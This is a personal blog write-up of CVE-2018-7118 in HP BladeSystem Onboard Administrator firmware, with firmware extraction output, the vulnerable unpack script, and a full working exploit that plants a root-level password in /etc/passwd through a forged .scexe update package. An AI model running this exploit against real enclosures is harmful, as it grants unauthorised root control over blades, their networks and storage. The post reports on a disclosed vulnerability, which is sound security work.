avatar image of a crescent moon

CVE-2018-7118 - Rooting your HP BladeSystem


Because it's far too loud

(What, you had a nefarious reason to hack it? I just wanted to sleep.)

The HP BladeSystem is a now fairly dated blade enclosure.
I used to run one in my bedroom - someone told me I should try keeping the cloud closer to home - and sleeping wearing ear defenders gets old after a while.
What to do? There's no way to configure the fan curve and they can hit 18,000 RPM.

Enter CVE-2018-7118

Let's look at the firmware

The firmware for the bladesystem enclosure manager is available online. This vulnerability requires OA firmware <= 4.80.

$ sha256sum hpoa480.bin
12809d4f96198b8c23480edf4b31c756dd58260b5d319d9becd7eb5a6f9b854f *hpoa480.bin
$ binwalk hpoa480.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
213           0xD5            uImage header, header size: 64 bytes, header CRC: 0x559534C9, created: 2017-12-13 11:17:17, image size: 1522926 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x3A7352C0, OS: Linux, CPU: PowerPC, image type: OS Kernel Image, compression type: gzip, image name: "Linux-2.6.17.9-udog"
277           0x115           gzip compressed data, maximum compression, from Unix, last modified: 2017-12-13 11:17:16
1523203       0x173E03        uImage header, header size: 64 bytes, header CRC: 0x9F09FD6A, created: 2017-12-13 11:10:30, image size: 3692025 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x80788EF4, OS: Linux, CPU: PowerPC, image type: RAMDisk Image, compression type: gzip, image name: ""initrd 171213-1007 build""
1523267       0x173E43        gzip compressed data, maximum compression, has original file name: "udog-initrd", from Unix, last modified: 2017-12-13 11:10:27
5215292       0x4F943C        Squashfs filesystem, big endian, version 2.1, size: 7447206 bytes, 2124 inodes, blocksize: 65536 bytes, created: 2017-12-13 11:10:26
12665972      0xC14474        uImage header, header size: 64 bytes, header CRC: 0x9ECEFB67, created: 2017-12-13 11:24:53, image size: 1532777 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x3555C9E5, OS: Linux, CPU: PowerPC, image type: OS Kernel Image, compression type: gzip, image name: "Linux-2.6.17.9-udog-440EPX"
12666036      0xC144B4        gzip compressed data, maximum compression, from Unix, last modified: 2017-12-13 11:24:53
14198813      0xD8A81D        Squashfs filesystem, big endian, version 2.1, size: 1111378 bytes, 47 inodes, blocksize: 65536 bytes, created: 2017-12-13 11:10:27
15313456      0xE9AA30        PEM certificate
15315387      0xE9B1BB        PEM certificate
15317046      0xE9B836        PEM certificate

Use binwalk -e on the firmware image to extract the multiple squashfs filesystems' contents.

I already have an idea of where I want to look: I know the firmware upgrade process for the blades involves loading an SPP iso on the onboard administrator and unpacking the firmware from it.
I had a guess there might be some sort of unsafe extraction along the lines of zip slip - but for an RPM or HP SCEXE format instead - and looked for the code which handles this.

The majority of HP's custom binaries and scripts for the OA can be found under the sbin folder in the first squashfs squashfs-root\sbin. fw_mgmtd is responsible for running firmware updates, and runs as root. To try to find more information about scexe unpacking, let's grep for that.

$ strings _hpoa480.bin.extracted/squashfs-root/sbin/fw_mgmtd | grep -i scexe
/ramdisk/unpack-scexe.lock
/usr/sbin/unpack-scexe %s >/dev/null 2>&1
Successfully unpacked HPE SCEXE SmartComponents.
HPE SCEXE Components are not found, Searching for RPM Components.
Unable to locate and/or unpack SCEXE/RPM HPE SmartComponents. OA/iLO will not be updated.

Looks like it calls unpack-scexe, which is a script. Nice! No need to disassemble to work out what this is doing.

dbg_echo ">>>>>>>>>>Unpacking $2:"
sh $2.scexe --unpack=$2  
rc=$?
rm $2.scexe
if [ $rc -eq 0 ]; then
    dbg_echo "Successfully unpacked $2"
    return $rc
else
    dbg_echo ">>>> Failed to unpack $2.scexe"
    return $rc
fi

The exploit steps

Oh dear. It runs the supplied .scexe file as a script. Let's try replacing the HP supplied update with a shell script of our own choosing.
The Linux install on this is extremely stripped down, no passwd command here.

#!/bin/sh
#!scexe

_SKIP=347
_INTERFACE_VERSION=scexe-interface-1.03-22
_INSTALLER=flash_ilo4

# the udog user already exists on this system with uid 0 before we touch anything
# the hash here is for the password compaq
# 
echo "udog:pD.WvCQWQJ4Kc:0:0:0,,:/:/bin/sh" > /etc/passwd.new
grep -v -e '^udog:' /etc/passwd >> /etc/passwd.new
mv /etc/passwd.new /etc/passwd
chmod 666 /etc/passwd
chown 1:1 /etc/passwd
exit 1

Replace/add it at this path hp/swpackages/root.scexe. Put the new SPP ISO somewhere accessible by the OA, either on an HTTP(no S) server or on an ext2 partition on a flash drive plugged into it.
Use the web UI to start firmware management.
Wait for it to fail the iLO upgrade step with Unable to locate and/or unpack SCEXE/RPM HPE SmartComponents. OA/iLO will not be updated.
SSH in with username udog password compaq.

Now to finally slow down those fans

Patching the thermal management code to use a different fan curve is probably the more correct way of fixing this, but that's a more involved process for another post if I ever run a BladeSystem again. A simple fix which sets the fan speed every 10 seconds on a loop worked fine for me. The fan binary this calls is already provided by HP.

#!/bin/sh
# slowfan.sh

SPD=40
if [ $# -eq 1 ]; then
	SPD=$1
fi

while true; do
	sleep 10
	# i'm not being paid enough to put a loop here
	fan 1 $SPD
	fan 2 $SPD
	fan 3 $SPD
	fan 4 $SPD
	fan 5 $SPD
	fan 6 $SPD
done

A little crude, but functional.

Responsible Disclosure, HPE, and the Onboard Administrator as a juicy target

HPE don't operate a public bug bounty program, and provided no compensation for reporting this issue. It is likely there are other security issues with the Onboard Administrator - the very first thing I looked at as a plausible escalation path worked, which doesn't bode well - but don't have much incentive to look into them as I got what I needed and can control the fan speed. Keep any Onboard Administrator safely isolated from anything less trusted than it as getting root on it means full access to:

  • The blades' iLO
  • Whatever is running on those blades
  • Any network physically connected to the VirtualConnect switches
  • Any storage connected to other types of interconnect modules
  • The potential to tamper with the firmware on any inserted device without any audit trail

The particular vulnerability here requires someone to already have access to an account with permissions to trigger firmware upgrades, but it is very plausible that a path starting with anonymous access to here exists.


tagged bladesystem homelab security